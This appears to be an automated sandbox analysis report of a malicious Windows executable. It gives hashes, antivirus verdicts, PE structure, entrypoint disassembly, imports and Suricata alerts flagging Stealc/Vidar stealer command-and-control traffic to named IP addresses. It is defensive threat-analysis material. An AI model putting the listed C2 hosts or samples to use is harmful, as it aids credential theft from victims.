SHA-512:	57374D733A732B5A70CA79115F8107967EF9D5E36F58799F963494CD541486BF911C457FD667553C56DC5217B9D103D7AB55C71B4585A0056B6B70EEB7069003
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....c...c...c.K\|`...c.K\|f.2.c.K\|g...c.K\|b...c...b...c.Z.g...c.Z.`...c.Z.f...c.k.j...c.k.....c.k.a...c.Rich..c.................PE..L......f...............'............+o............@.................................j.....@.................................0m..(...................................xP...............................O..@...............,............................text...\|........................... ..`.rdata.............................@..@.data................`..............@....rsrc................B..............@..@.reloc...............H..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	563712
Entropy (8bit):	7.761295246557229
Encrypted:	false
SSDEEP:	12288:2oAw4Cr0G0187LxGraRAGxKUPbKslF3jt4njxZP:2ebj0SX8rvslFzwFJ
MD5:	33F127E35338687A1A64F67FA6ED3B9A
SHA1:	672DC4D194A5FFE2FD5C23B411BCA7B99647EBD2
SHA-256:	60BD16249ED2F24C98380920CB581F447A806541827D4EB2A5C1E889B9379C30
SHA-512:	C50878D3CB82E12384F1A1C214D9BEC19DC7E0E54285336261837A4C92AA42FD9068EC27C6D0361E60935B097A59D3262C4295C6660EAABB57503E4A2F82B4C8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....c...c...c.K\|`...c.K\|f.2.c.K\|g...c.K\|b...c...b...c.Z.g...c.Z.`...c.Z.f...c.k.j...c.k.....c.k.a...c.Rich..c.................PE..L...o..f...............'............+o............@.......................................@.................................0m..(...................................xP...............................O..@...............,............................text...\|........................... ..`.rdata.............................@..@.data....&...........`..............@....rsrc................x..............@..@.reloc...............~..............@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.297063356075721
Encrypted:	false
SSDEEP:	6144:E41fWRYkg7Di2vxoy00lWZgiWaaKxC44Q0NbuDs+W5mBMZJh1VjkW:Z1/yCW2AoQ0NiU5wMHrVz
MD5:	E87FEE129510EBDE9A90F6A17514B8A8
SHA1:	4381EEC20B08C382300FC508D4D4EB6123ED5F67
SHA-256:	23D302BE52FA48AD9D7F6CC3D5A22D46AF80841C5CFE561A650400C7810A5160
SHA-512:	11CAA371A2EC3AAE41DA4CE5D9E40F342E9AF27D026EED2BBE1BE3644FC384141078B3F70C3730D0DA6043554F4EB8E0A6BFDD56FFE85C9A6AD16629C554943B
Malicious:	false
Preview:	regfJ...J....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..`.d.................................................................................................................................................................................................................................................................................................................................................t.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.971390435969454
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	d1bc91bd44a0.exe
File size:	2'113'536 bytes
MD5:	3abcb3be6004e8a635837eae43b97526
SHA1:	89361ec18490b2648bb4e45a3cebadfce46e1ee6
SHA256:	6d335f02de4d26746ced3035a3568a97c035e5bbc7b37ebe767bb5925f32f07a
SHA512:	4e4a36b3f05f3347a8e753a43677a9a1bfae681aad49d468bd50e356600650911fdfd6798f5afbd13fa9c8ede0644ff1495ab4d5f28f45e09a719967731465fd
SSDEEP:	49152:kDASSX9iPo2rTRRme2Nu7l1XApC6TD1rbgoSk2ak+1b:ks/tixTTmewupSLf1rUy
TLSH:	F8A5232174D1C431D4B31A3119F18AF55A7FF9318E320E9F7B5827AF8F61282DA25A93
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....c...c...c.K\|`...c.K\|f.2.c.K\|g...c.K\|b...c...b...c.Z.g...c.Z.`...c.Z.f...c.k.j...c.k.....c.k.a...c.Rich..c................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406f2b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFEDF4 [Fri Oct 4 13:30:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	76c28592e04b2b2bb1f52b3aac6a5c55

Entrypoint Preview

Instruction
call 00007F92EC84AD61h
jmp 00007F92EC84A44Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F92EC84A5EBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F92EC84A5DCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F92EC84A5DEh
add edx, 28h
cmp edx, esi
jne 00007F92EC84A5BCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F92EC84A5CBh
push esi
call 00007F92EC84B06Bh
test eax, eax
je 00007F92EC84A5F2h
mov eax, dword ptr fs:[00000018h]
mov esi, 006040C0h
mov edx, dword ptr [eax+04h]
jmp 00007F92EC84A5D6h
cmp edx, eax
je 00007F92EC84A5E2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F92EC84A5C2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F92EC84A5D9h
mov byte ptr [006040C4h], 00000001h
call 00007F92EC84A891h
call 00007F92EC84D5FEh
test al, al
jne 00007F92EC84A5D6h
xor al, al
pop ebp
ret
call 00007F92EC85414Eh
test al, al
jne 00007F92EC84A5DCh
push 00000000h
call 00007F92EC84D605h
pop ecx
jmp 00007F92EC84A5BBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [006040C5h], 00000000h
je 00007F92EC84A5D6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26d30	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x205000	0x5c9	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x206000	0x1ae8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25078	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x24fb8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1c67c	0x1c800	cb579b1f9d8151783b9823ff572a63b6	False	0.5811317845394737	data	6.6343407742940785	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1e000	0x93ec	0x9400	0d8728fea948113506339119fa2c4628	False	0.3899387668918919	data	4.68960583399192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x28000	0x1dccd0	0x1dbe00	1915332fae792cd59127e853206f3fdc	False	0.9985953096270029	DOS executable (block device driver \377\377\377\377)	7.99959108282351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x205000	0x5c9	0x600	119ecdf53f01f55f99e60094c5022f7d	False	0.44921875	data	4.028954482942946	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x206000	0x1ae8	0x1c00	994bbe99368900709bc18a8b81dec92d	False	0.7310267857142857	data	6.415496245274153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2050a0	0x3ac	data	English	United States	0.4521276595744681
RT_MANIFEST	0x20544c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

GetConsoleWindow, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapAlloc, GetFileType, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T15:53:30.224150+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	141.98.233.156	80	192.168.2.10	49947	TCP
2024-10-04T15:53:45.518933+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.10	49781	147.45.44.104	80	TCP
2024-10-04T15:53:45.519086+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.10	49780	147.45.44.104	80	TCP
2024-10-04T15:54:13.151852+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.10	49947	141.98.233.156	80	TCP
2024-10-04T15:54:13.885169+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	141.98.233.156	80	192.168.2.10	49947	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:53:30.224149942 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:30.535855055 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:31.145174980 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:31.301352978 CEST	49671	443	192.168.2.10	204.79.197.203
Oct 4, 2024 15:53:31.879471064 CEST	49674	443	192.168.2.10	173.222.162.55
Oct 4, 2024 15:53:31.882177114 CEST	49675	443	192.168.2.10	173.222.162.55
Oct 4, 2024 15:53:32.348221064 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:32.731319904 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:32.731348991 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:32.731436014 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:32.731914997 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:32.731933117 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.414839983 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.414947987 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.418215990 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.418226957 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.418631077 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.429176092 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.475403070 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.538057089 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.538111925 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.538186073 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.538197041 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.538274050 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.620934963 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.620986938 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.621036053 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.621062994 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.621084929 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.621105909 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.623914003 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.623960972 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.624001980 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.624007940 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.624053955 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.625567913 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.710736036 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.710767984 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.710839033 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.710869074 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.710882902 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.711642981 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.711666107 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.711709976 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.711718082 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.711730003 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.711767912 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.712764025 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.712778091 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.712836981 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.712846041 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.712891102 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.713985920 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.714003086 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.714057922 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.714065075 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.714108944 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.801826954 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.801852942 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.801959038 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.801971912 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802014112 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.802160025 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802176952 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802227974 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.802234888 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802262068 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.802287102 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.802791119 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802804947 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802862883 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.802870989 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.802913904 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.803335905 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.803352118 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.803397894 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.803404093 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.803432941 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.803443909 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.804260969 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.804276943 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.804316998 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.804323912 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.804353952 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.804372072 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805160999 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805176020 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805221081 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805227995 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805233955 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805259943 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805284023 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805289030 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805300951 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805349112 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805411100 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805423975 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.805434942 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.805438995 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.852005005 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.852045059 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.852119923 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.854163885 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.854182959 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.854214907 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.854219913 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.854289055 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.854451895 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.854459047 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.854473114 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.855515003 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.855539083 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.855655909 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.855674982 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.855683088 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.855788946 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.855797052 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.855875969 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.855892897 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.856759071 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.856771946 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:33.856828928 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.856930971 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:33.856936932 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.567437887 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.567965984 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.567991972 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.568533897 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.568538904 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.598118067 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.598875046 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.598898888 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.599441051 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.599447012 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.673628092 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.673650980 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.673705101 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.673748016 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.673800945 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.674031973 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.674077034 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.674096107 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.674102068 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.701872110 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.701899052 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.701958895 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.701984882 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.702008009 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.702178001 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.702197075 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.702208042 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.702214003 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.755131006 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:34.798599005 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.799143076 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.799165010 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.799596071 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.799601078 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.813833952 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.814275980 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.814285040 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.814928055 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.814932108 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.960223913 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.960254908 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.960326910 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.960331917 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.960386992 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.960448027 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.960565090 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.960575104 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.960623026 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.960644960 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.978602886 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.978774071 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.978840113 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.978933096 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.978949070 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.978960991 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.978965998 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.981677055 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.981720924 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.981790066 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.981965065 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.981980085 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.999298096 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.999526024 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.999584913 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.999641895 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:34.999650002 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:34.999658108 CEST	49708	443	192.168.2.10	13.107.246.60
